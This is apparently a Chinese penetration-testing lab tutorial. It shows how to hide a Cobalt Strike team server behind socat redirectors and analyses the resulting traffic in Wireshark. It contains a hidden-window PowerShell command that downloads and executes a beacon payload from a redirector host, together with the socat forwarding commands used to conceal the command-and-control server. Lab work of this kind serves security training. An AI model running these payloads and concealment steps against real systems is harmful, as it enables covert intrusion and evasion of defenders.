149.网络安全渗透测试—[Cobalt Strike系列]—[重定器/代理服务器/流量走向分析]
我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!
文章目录
- 一、Cobalt Strike 重定器
- 1、Cobalt Strike 重定器简介
- 2、重定器用到的端口转发工具
- 二、cobalt strike重定器实验
- 1、实验背景
- 2、实验过程
- 3、流量分析
一、Cobalt Strike 重定器
1、Cobalt Strike 重定器简介
(1)重定器简介
“重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。(注:即通常说的代理服务器或端口转发工具),“重定器”服务(在攻击和防御中)是很重要的角色。
(2)重定器功能
第一 保护team server团队服务器地址,并作为攻击者,它也是一个很好的安全操作。
第二 它给予了热冗余备份能力,假如你的众多重定器中有一两个堵塞了没有大不了的,还可以通过其他的重定器进行通信。
(3)重定器拓扑
Windows Server 2019 | kali | Ubunt1 | Ubunt2 | Windows Server 2008 |
---|---|---|---|---|
充当DSN服务器 | 充当team server团队服务器 | 充当重定器1(即代理服务器1) | 充当重定器2(即代理服务器2) | 充当靶机 |
2、重定器用到的端口转发工具
工具socat是一款端口重定向工具,我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接。(即监听本地80端口,把向本地80的连接请求转发给teamserver团队服务器的80)
充当重定器的linux系统上的命令:socat TCP4-LISTEN:80,fork TCP4:[team server]:80
二、cobalt strike重定器实验
1、实验背景
(1)网络环境:NAT
(1)dns服务器 windows server2019: 192.168.97.19
(2)team server服务器 kali:192.168.97.129
(3)重定器1 ubuntu14:192.168.97.202
(4)重定器2 ubuntu16:192.168.97.203
(5)靶机 windows server 2008:192.168.97.131
(2)DNS服务器:Windows Server 2019
第一步:新建域名 team.com
添加一个a记录测试是否成功:ceshi.team.com 192.168.97.19
第二步:然后添加以下a记录
Teamserver:192.168.97.129 t.team.com
ubuntu跳板 1:192.168.97.202 r1.team.com
ubuntu跳板2: 192.168.97.203 r2.team.com
(3)team server团队服务器:kali linux
vim /etc/network/interfaces
vim /etc/resolv.conf
(4)重定器1:Ubuntu14.04.5
(5)重定器2:Ubuntu16.04.3
(6)靶机:Windows Server 2008
2、实验过程
(1)kali开启teamserver团队服务器:./teamserver 192.168.97.129 123456
//注意:这里要用IP地址,不能使用域名
(2)本地连接teamserver团队服务器:./cobaltstrike
//注意:这里不再新开虚拟机充当攻击者团队成员了,直接使用kali本地连接到teamserver,因为一样都是在团队服务器上操作。
(3)所有ubuntu跳板开启端口转发:socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80
//解释1:TCP4-LISTEN:80是监听本地的80端口
//解释2:fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口
//总结:只要是对跳板机的80请求,都会重定向到teamserver,因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。(具体操作在下面)
//如下图所示:
(4)测试重定向是否成功:
第一步:在team server上打开cs 的web日志浏览器
//如下图所示:点击View选项卡,选择Web Log
第二步:在dns服务器的火狐浏览器上访问http://r1.team.com/r1
//如下图所示:此时r1接收到dns服务器发来的80请求,r1通过socat把80请求重定向到team server,因此team server会记录到来自r1的请求。
第三步:在dns服务器的火狐浏览器访问http://r2.team.com/r2
//如下图所示:此时r2接收到dns服务器发来的80请求,r2通过socat会把80请求重定向到team server,因此team server会记录到来自r2的请求。
(5)配置监听器注意事项
注意1:监听器的的第一个host填写team server真实地址
注意2:监听器的的第二个host填写team server所有重定器地址
附:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
(6)配置监听器
//如下图所示:这里的host填写的是beacon的真实地址,也就是teamserver团队服务器的地址
//如下图所示:其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下:此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。(因此:这里填写的是指向teamserver团队服务器的众多重定器)
(7)生成payload攻击载荷:使用脚本web传递
//如下图所示:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
//如下图所示:保存下来payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
(8)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
//如下图所示:在靶机上运行payload
//如下图所示:在team server的web日志上记录了跳板r2向team server的请求(实际为靶机向r2请求,r2转到了team server)
(9)team server上移除会话,断开r2跳板机的socat端口转发,靶机重新使用一次payload,测试冗余功能
//如下图所示:team server移除连接
//如下图所示:断开r2跳板机的socat端口转发
//如下图所示:靶机再次运行一次payload
//如下图所示:team server上面只记录到了r1和靶机之间的连接(实际上是靶机向r1发起连接,让r1转发到了team server)
3、流量分析
(1)在team server服务器打开wireshark,查看流量走向:
//如下图所示:有虚实两种线,是区别两个TCP连接,由于在抓包的过程中,他的包顺序可能会混乱,因此我们分别追踪167的TCP流和174的TCP流,再去加以分析。
//如下所示:追踪167的TCP流,发现是167到185,是靶机和r1之间的连接
//如下图解释1:167到169是靶机和r1之间的TCP三次握手,靶机的49321端口和r1的80端口之间建立了连接;
//如下图解释2:170到173是靶机和r1之间的http连接;
//如下图解释3:183到184是r2和team server之间的TCP三次握手(本该是四次,这里把FIN和ACK合并了),断开TCP连接;
//如下图所示:追踪174的TCP流,发现是174到187,是r1和team server之间的连接
//如下图解释1:174到176是r1跳板和team server之间经过三次握手建立的TCP连接
//如下图解释2:177到179是r1跳板和team server之间的HTTP连接
//如下图解释3:180-181-186-187是r1跳板和team server之间四次挥手,断开TCP连接
(2)移除team server上建立的会话,等待再次连接后,重新查看流量走向,与team server上的命令查看的端口记录对照:
//如下图所示:r1跳板的40314和team server的80端口进行了连接并断开
//如下图所示:在team server上存在记录
(3)把r2跳板的socat端口转发打开,再次查看流量走向:
//如下图所示:发现靶机和r2也有连接
//如下图所示:r2和team server也有连接
(4)为了验证第13条中的结论,也就是r1和r2都和靶机有连接,我们此时把team server上的会话sleep设置为5,也就是每5秒交互一次,此时观察team server的视图,会发现在5秒后r1和r2在替换
相关文章:

149.网络安全渗透测试—[Cobalt Strike系列]—[重定器/代理服务器/流量走向分析]
我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!! 文章目录一、Cobalt Strike 重定器1、Cobalt Strike 重定器简介2、重定器用到的端口转发工具二、cobalt strike重定器实验1、实验背景2、实验过程3、流…...
Qt调用Chrome浏览器
一、前言 最近有个小项目需要跳转网页,之前有了解过,但是没有在项目中使用过Qt网页嵌入; 结合自己之前的博客,有如下两种技术可以实现我的需求: 1、Qt–网页嵌入 2、Qt使用QAxWidget调用Windows组件 但是在实际开…...

JVM虚拟机垃圾回收机制
JVM虚拟机垃圾回收机制垃圾回收机制判断是否存活算法引用计数法可达性分析法最终判定垃圾回收算法分代收集机制空间分配担保垃圾回收机制 判断是否存活算法 java语言和我们之前学的c/c不同,c/c可以手动进行内存释放,那样随时随地就可以释放不必要的内存…...

菜鸟刷题Day3
⭐作者:别动我的饭 ⭐专栏:菜鸟刷题 ⭐标语:悟已往之不谏,知来者之可追 一.字符串压缩:面试题 01.06. 字符串压缩 - 力扣(LeetCode) 描述 字符串压缩。利用字符重复出现的次数,编…...
南京邮电大学数据库第三次课后作业
1.单选(2分) 下列关于模式的术语中,(C)不是指数据库三级模式结构中的外模式 (A)子模式 (B)用户模式 (C)存储模式 (D)用户视图 2单选题(2分) 数据库的三级模式结构中,描述数据全局逻辑…...

【vue2】使用vue常见的业务流程与实现思路
🥳博 主:初映CY的前说(前端领域) 🌞个人信条:想要变成得到,中间还有做到! 🤘本文核心:vue的业务处理思路。前台数据渲染与后台的增删改查操作 【前言】当大家会点开这一篇文章…...

Linux操作系统ARM体系结构处理器机制原理与实现
ARM 的概念ARM(Advanced RISC Machine),既可以认为是一个公司的名字,也可以认为是对一类微处理器的通称,还可以认为是一种技术的名字。ARM 公司并不生产芯片也不销售芯片,它只出售芯片技术授权。其合作公司针对不同需求搭配各类硬…...

Mongodb 常用基本语法与操作
常用操作 1、 Help查看命令提示 db.help(); 2、 切换/创建数据库 use test 如果数据库不存在,则创建数据库,否则切换到指定数据库 3、 查询所有数据库 show dbs; 4、 删除当前使用数据库 db.dropDatabase(); 5、 查看当前使用的数据库 db.getName(); 6、…...

MySQL注入秘籍【绕过篇】
MySQL注入秘籍【绕过篇】1.通用方法2.绕过空格3.绕过引号4.绕过逗号,5.绕过等号6.绕过and/or7.绕过注释符8.绕过函数检测1.通用方法 编码 编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码…...

TCP三次握手/四次挥手
TCP三次握手 任何基于TCP的应用,在发送数据之前,都需要由TCP进行“三次握手”建立连接示意图 第一次握手:客户端PC发送一个SYN位置1(SYN1代表请求服务端建立连接)的TCP报文发送给要建立TCP连接的Server,此…...

Python程序员看见一个好看的手机壁纸网站,开撸!
人生苦短,我用python 最近好像没什么大事, .那就采集一下小——姐——姐————看下吧~ python 安装包资料:点击此处跳转文末名片获取 最近有同学的爬虫代码出了bug,给问我怎么改 于是就发现了这个好看的手机壁纸网站。 这个图片应该是违规…...

浏览器工作原理
一、JavaScript 的历史 JavaScript(简称JS)Web前端开发的脚本语言。 它诞生1995年,由网景公司的 Brendan Eich 开发。最初,JavaScript 被设计用于在网页上嵌入动态内容和交互式功能。 1996年,JavaScript 1.1 成为国…...
对在使用容器HashSet存放自定义对象时重写其类的hashcode和equals方法的几点认识
判断是否是相同对象时,hashcode和equals方法的调用顺序 先调用hashcode()方法,再调用equals()方法如果hashcode()方法得到的哈希值不同,那么两个对象一定不相同,不作后续判断如果hashcode()方法得到的哈希值相同,那么…...

Java集群:单体架构升级到集群架构(二)实现session共享
默认情况下,session是保存在TOMCAT服务器内存中的,如果我们有两个TOMCAT,它们的session是没有共享的。我们这回要做的就是把session保存在redis中,这样两个TOMCAT就可以共享session了。其实这货的详细原理还是很复杂的,…...

MySQL索引及索引失效的分析(MySQL8.0.19)
目录索引数据结构主键索引非主键索引索引在什么时候是有效的?字符串比较大小btween and索引数据结构 主键索引 我们先来看看索引的数据结构,以及我们是如何利用索引来搜索数据的。MySQL的数据存储结构是B树,在叶子节点存储了数据行ÿ…...

第一个 Django 应用
1. 创建项目 1.1 新建项目 首先新建一个项目,名为 mysite,命令如下: django-admin startproject mysite # 或用 django-admin.py运行成功,生成一些目录: mysite/manage.py # 管理 Django 项目的命令行工具mysit…...

001-ksum 求符合条件的 k 个数 1. Two Sum/15. 3Sum/18. 4Sum/
推荐阅读 000-从零开始的数据结构与算法 001-01-ksum 求符合条件的 k 个数 1. Two Sum/15. 3Sum/18. 4Sum/ 002-两数相加 add two numbers 003-无重复字符的最长子串 Longest Substring Without Repeating Characters 004-寻找两个正序数组的中位数 005-最长回文子串 Lon…...

Nginx学习笔记(三)Linux环境下Nginx的安装和部署
目录一、官网下载二、配置基本信息1.上传 Linux2.解压3.安装编译环境4.配置基本信息4.1 配置失败原因(1):没有安装C编译环境4.2 配置失败原因(2):没有安装 PCRE 依赖4.3 配置失败原因(3):没有安装 zlib 依赖5.查看文件列表三、编译安装四、配…...
【十二天学java】day05--数组和循环高级
**# 1.数组 概念: 指的是一种容器,可以同来存储同种数据类型的多个值。 但是数组容器在存储数据的时候,需要结合隐式转换考虑。 比如: 定义了一个int类型的数组。那么boolean。double类型的数据是不能存到这个数组中的&#…...
用队列实现栈和用栈实现队列(C 语言)
目录 一、用队列实现栈 二、 用栈实现队列 一、用队列实现栈 请你仅使用两个队列实现一个后入先出(LIFO)的栈,并支持普通栈的全部四种操作(push、top、pop 和 empty)。 实现 MyStack 类: void push(int…...
Ubuntu系统下交叉编译openssl
一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机:Ubuntu 20.04.6 LTSHost:ARM32位交叉编译器:arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
BLEU评分:机器翻译质量评估的黄金标准
BLEU评分:机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域,衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标,自2002年由IBM的Kishore Papineni等人提出以来,…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)
一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...

【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制
目录 节点的功能承载层(GATT/Adv)局限性: 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能,如 Configuration …...

消息队列系统设计与实践全解析
文章目录 🚀 消息队列系统设计与实践全解析🔍 一、消息队列选型1.1 业务场景匹配矩阵1.2 吞吐量/延迟/可靠性权衡💡 权衡决策框架 1.3 运维复杂度评估🔧 运维成本降低策略 🏗️ 二、典型架构设计2.1 分布式事务最终一致…...

ZYNQ学习记录FPGA(一)ZYNQ简介
一、知识准备 1.一些术语,缩写和概念: 1)ZYNQ全称:ZYNQ7000 All Pgrammable SoC 2)SoC:system on chips(片上系统),对比集成电路的SoB(system on board) 3)ARM:处理器…...